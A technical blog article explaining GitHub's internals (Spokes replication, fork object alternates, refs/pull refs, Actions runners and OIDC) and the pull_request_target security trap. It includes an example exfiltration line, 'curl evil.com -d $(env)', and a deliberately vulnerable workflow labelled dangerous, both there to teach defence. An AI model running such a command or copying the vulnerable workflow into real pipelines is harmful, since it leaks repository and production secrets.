Ask most developers what GitHub is, and you will hear a deceptively straightforward answer:
"GitHub is a cloud hosting service for Git repositories with a web interface for code reviews and issue tracking."
If you only interact with GitHub through git push origin main and web pull requests, that description seems entirely accurate. You push your commits to a remote server, GitHub stores them, and your team inspects the diffs on a web page.
Yet running a platform that hosts over 100 million developers and more than 420 million repositories presents engineering hurdles that standard Git was never designed to handle:
- What happens when 50,000 developers fork the Linux kernel or React? If GitHub stored 50,000 duplicate copies of a 4GB Git history, a single repository network would consume 200 terabytes of storage.
- Git was written as a local command-line tool, not a distributed network database. How does GitHub prevent data loss when hard drives fail or servers crash mid-push?
- How does GitHub compute whether a Pull Request can be merged without checking out files onto a disk?
- How does GitHub Actions spin up millions of clean, isolated virtual machines every hour, execute untrusted user code, and allow workflows to authenticate with AWS and Google Cloud without storing a single static password?
GitHub is not a single server running git-daemon. It is an enormous, highly specialized distributed operating system.
Here is what actually happens under the hood across GitHub's infrastructure when you push code, open a pull request, and trigger an automated build.
1. The Git Storage Tier: How Spoke Clusters Shard the World
Standard Git relies on simple file system locking. When you push to a bare Git repository on an ordinary Linux server, Git runs git receive-pack. It checks if .git/refs/heads/main.lock exists, updates the reference, writes new packfiles, and releases the lock.
If two developers push simultaneously to the same branch on a standard Git server, one will fail. If the disk holding .git dies, your data is gone unless you have an offline backup.
To scale across hundreds of petabytes of Git data, GitHub built Spokes (formerly known as DGit, or Distributed Git).
The Three-Way Storage Quorum
In GitHub's architecture, repositories do not live on arbitrary file systems. They reside on dedicated, bare-metal storage servers called Spokes nodes.
Every repository is assigned to a cluster of three distinct Spokes file servers:
- One Primary node
- Two Replica nodes
When you run git push origin main, your traffic hits GitHub's edge network over HTTPS or SSH. GitHub's routing layer (the Spokes proxy) authenticates your session and routes your Git RPC traffic directly to the repository's active primary storage node.
The Atomic Two-Phase Write
To guarantee that your push never gets lost or split, Spokes coordinates writes using a two-phase transactional consensus protocol:
- Pre-Receive Validation: The primary node receives your incoming packfile over the network. It calculates the checksums and verifies that all referenced parent commits exist in the object graph.
- Parallel Replication: Before updating any branch pointers, the primary streams the raw packfile data simultaneously to the two replica nodes.
- Quorum Acknowledgment: Once at least two of the three nodes confirm they have written the objects to disk and verified their SHA integrity, the primary acquires the reference lock.
-
Pointer Commit: The branch reference (e.g.,
refs/heads/main) is atomically updated across the quorum. -
Success Response: Only after quorum is achieved does your local terminal print
To github.com:user/repo.git [new branch].
If a hard drive explodes or a storage server loses power mid-push, the Spokes cluster detects the heartbeat failure within seconds. A replica with verified data is promoted to primary, a new third replica is provisioned in the background, and your repository remains online with zero data loss.
2. Fork Networks: The Magic of Git Object Alternates
Consider what happens when a popular open source repository goes viral.
A project like the Linux kernel contains over 1.2 million commits and consumes roughly 4.5 gigabytes of disk space. As of today, it has over 50,000 public forks on GitHub.
If GitHub treated every fork as an independent Git repository, storing those forks would require:
50,000 forks × 4.5 GB = 225,000 GB (225 Terabytes)
Multiply that across React, Kubernetes, TensorFlow, and VS Code, and GitHub's storage costs would be astronomical.
GitHub avoids this through an architectural concept called Fork Networks, powered by a low-level Git mechanism known as Object Alternates.
How objects/info/alternates Works
When you click the Fork button on GitHub, GitHub does not duplicate the project's gigabytes of Git objects.
Instead, GitHub provisions a lightweight namespace directory containing its own refs and configuration. Inside that fork's .git/objects/info/ folder, GitHub writes a single line to a file named alternates:
/data/repositories/root-network-storage/objects
This tells the Git runtime: Whenever you need an object (a blob, tree, or commit) that does not exist in this fork's local object folder, look inside the root network's shared object pool.
Shared Read Pool, Isolated Write Pool
Because Git objects are identified by immutable SHA cryptographic hashes, sharing them is completely safe:
- Communal History: All 50,000 forks share one communal copy of the Linux kernel's historical commits, trees, and files. Storing the shared base costs 4.5 gigabytes total, not 225 terabytes.
- Isolated Edits: When you push a new commit to your personal fork, GitHub writes the new blobs and commit objects exclusively into your fork's private storage partition.
- Instant Forking: Forking a massive multi-gigabyte repository completes in less than one second because GitHub only creates database records and an alternates pointer.
This architecture reduces GitHub's total object storage footprint across open source ecosystems by more than 95 percent.
3. The Secret Anatomy of Pull Requests (refs/pull/)
Pull Requests are central to modern software development, yet standard Git has no native concept of a "Pull Request". In pure Git, you have branches, tags, and remotes, but there is no git pull-request command.
How does GitHub implement Pull Requests entirely within the boundaries of Git's data structures?
The answer lies in hidden reference namespaces.
The Hidden Pull Request Refs
Whenever a developer opens Pull Request #42 on your repository, GitHub's backend automatically creates two special Git references inside the repository:
-
refs/pull/42/head: A direct pointer to the exact commit SHA at the tip of the contributor's feature branch (even if the branch lives in a completely different fork). -
refs/pull/42/merge: A synthetic merge commit created automatically by GitHub in the background.
Notice that these references begin with refs/pull/ rather than refs/heads/. By default, when you run git clone or git fetch, Git only downloads refs/heads/* and refs/tags/*. This is why you do not see hundreds of pull request branches cluttering your local git branch -a list.
Fetching Any Pull Request Locally Without Forking
Because these references exist in the Git object store, you can fetch and test any Pull Request on GitHub directly from your terminal, without visiting the contributor's fork:
# Fetch PR #42 into a new local branch named pr-42
$ git fetch origin pull/42/head:pr-42
# Switch to the branch and test the code locally
$ git checkout pr-42
You can even configure your local .git/config to fetch all pull requests automatically:
[remote "origin"]
fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
The Background Merge Worker
How does GitHub know if a Pull Request has conflicts before you click the merge button?
Every time a contributor pushes a new commit to a Pull Request, or whenever the base target branch (main) receives new commits, GitHub enqueues a background job.
This worker runs a low-level, in-memory 3-way merge between refs/pull/42/head and refs/heads/main.
- If the merge completes cleanly without conflicts, the worker writes a new merge commit object to
refs/pull/42/mergeand displays a green "Merge pull request" button on the web interface. - If a conflict occurs, the worker marks the PR as conflicted, flags the specific overlapping files in the database, and disables the one-click merge button.
This automated background evaluation means GitHub never has to compute merge diffs synchronously when a reviewer loads the page.
4. GitHub Actions: Ephemeral Runners and Keyless OIDC
GitHub Actions is currently the most popular CI/CD engine in the world. It processes millions of workflow runs daily, executing tests, compiling binaries, and deploying to cloud infrastructure.
Yet executing user-submitted workflow scripts is inherently dangerous. A workflow can contain arbitrary bash commands, install custom binaries, or attempt to read memory.
How does GitHub isolate these workloads, and how do modern pipelines deploy to cloud providers without storing static API keys?
The Ephemeral Virtual Machine Sandbox
When your repository triggers a workflow run (e.g., on push or pull_request):
-
Workflow Parsing: GitHub's workflow orchestrator reads
.github/workflows/*.ymlfrom the commit tree. It parses job dependencies, matrix configurations, and environmental conditions into a Directed Acyclic Graph (DAG) of execution steps. -
Ephemeral VM Provisioning: For hosted runners (
ubuntu-latest), GitHub requests a clean virtual machine instance from a massive pool of pre-warmed Azure virtual machines. - Execution: The runner agent receives the step instructions over a secure outbound websocket connection, checks out your code, and executes your steps inside a locked-down virtualized sandbox.
- Total Destruction: The instant your job finishes, regardless of whether it succeeded or failed, the virtual machine is completely terminated and destroyed. No disk state, cache files, or memory contents survive. Every job begins on a clean, pristine operating system.
Keyless Cloud Authentication via OIDC
Historically, deploying from CI/CD required generating a long-lived cloud credential (like an AWS Access Key ID and Secret Access Key) and pasting it into GitHub Repository Secrets.
If an attacker compromised the repository or discovered a secret exfiltration vulnerability, that static cloud key could grant indefinite access to production infrastructure.
Modern GitHub Actions eliminates static secrets through OpenID Connect (OIDC).
Instead of storing credentials, your workflow requests a short-lived, cryptographically signed JSON Web Token (JWT) directly from GitHub's internal token service:
# .github/workflows/deploy.yml
name: Deploy to AWS
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
id-token: write # Mandatory for requesting the OIDC token
contents: read
steps:
- name: Configure AWS Credentials via OIDC
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubDeployRole
aws-region: us-east-1
- name: Deploy Application
run: |
aws s3 sync ./dist s3://my-production-app/
The Cryptographic Handshake
Here is how the authentication handshake executes in seconds:
- The runner requests an OIDC token from GitHub's token authority.
- GitHub generates a JWT signed with GitHub's private key. The token payload contains claims describing the repository, git ref, workflow name, and trigger event:
{
"iss": "https://token.actions.githubusercontent.com",
"sub": "repo:my-org/my-app:ref:refs/heads/main",
"aud": "sts.amazonaws.com"
}
- The runner presents this token to AWS Security Token Service (STS) or Google Cloud Workload Identity.
- AWS verifies GitHub's signature using GitHub's public cryptographic keys (published via standard OpenID configuration).
- If the role's trust policy matches the token's subject (
repo:my-org/my-app:ref:refs/heads/main), AWS returns temporary, scoped credentials valid for 15 to 60 minutes.
No static keys exist. No credentials can be leaked. Even if someone inspects the runner's disk, the credentials expire automatically.
5. The Critical Security Trap: pull_request vs pull_request_target
While GitHub Actions provides powerful automation, one specific configuration misunderstanding has caused dozens of high-profile security breaches across major open source repositories.
That trap is the difference between pull_request and pull_request_target.
The Standard pull_request Trigger (Safe by Default)
When an outside contributor forks your open source repository and submits a pull request, a workflow triggered by on: pull_request executes under strict security boundaries:
- It runs in the context of the fork.
- The default
GITHUB_TOKENis strictly read-only. -
Zero repository secrets are passed to the runner.
secrets.PRODUCTION_API_KEYevaluates to empty string.
Even if an attacker writes malicious code into the pull request (e.g., adding curl evil.com -d $(env) to package.json), they cannot steal your secrets because no secrets exist in the execution environment.
The Dangerous pull_request_target Trap
To enable automated workflows that label issues or post comments on pull requests from forks, developers often switch to on: pull_request_target.
pull_request_target behaves fundamentally differently:
- It executes in the context of the base target repository.
- It has full access to repository secrets.
- The
GITHUB_TOKENhas read/write permissions.
The catastrophic mistake occurs when developers combine pull_request_target with an explicit checkout of the untrusted pull request code:
# DANGEROUS VULNERABILITY: Do NOT use this pattern
name: Build Pull Request
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
# Checking out untrusted PR head in a privileged context!
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# Attacker's code executes with access to production secrets!
- run: npm install && npm test
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
In this scenario, an attacker can fork your repository, alter package.json to exfiltrate environment variables, and submit a pull request. Because the workflow uses pull_request_target, GitHub runs the attacker's code inside an environment containing your production secrets.
The Secure Pattern
If you must run automated builds and tests on external code, use on: pull_request.
Reserve pull_request_target strictly for metadata operations that do not execute untrusted code:
# SECURE PATTERN: Uses pull_request_target only for metadata labeling
name: Label Pull Request
on:
pull_request_target:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/labeler@v5
# Notice: No checkout of PR code!
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
The Mental Shift
The evolution of GitHub over the past fifteen years reflects a broader truth about modern software development:
Git was designed to manage files on a developer's laptop.
GitHub was designed to scale collaboration across the planet.
When you understand the architecture beneath the web interface:
- You appreciate how Spoke clusters preserve your commits through transactional consensus and quorum replication.
- You see how Object Alternates enable millions of forks without consuming petabytes of duplicate storage.
- You can leverage hidden
refs/pull/namespaces to test and review pull requests directly from your terminal. - You can design secure, modern CI/CD pipelines using ephemeral runner sandboxes and keyless OIDC authentication.
How has your understanding of GitHub's internal architecture influenced how you manage your team's CI/CD security and repository workflows? Have you migrated away from long-lived cloud secrets to OIDC, or rescued a team from a pull_request_target injection vulnerability? Share your thoughts and experiences in the comments below.





Top comments (0)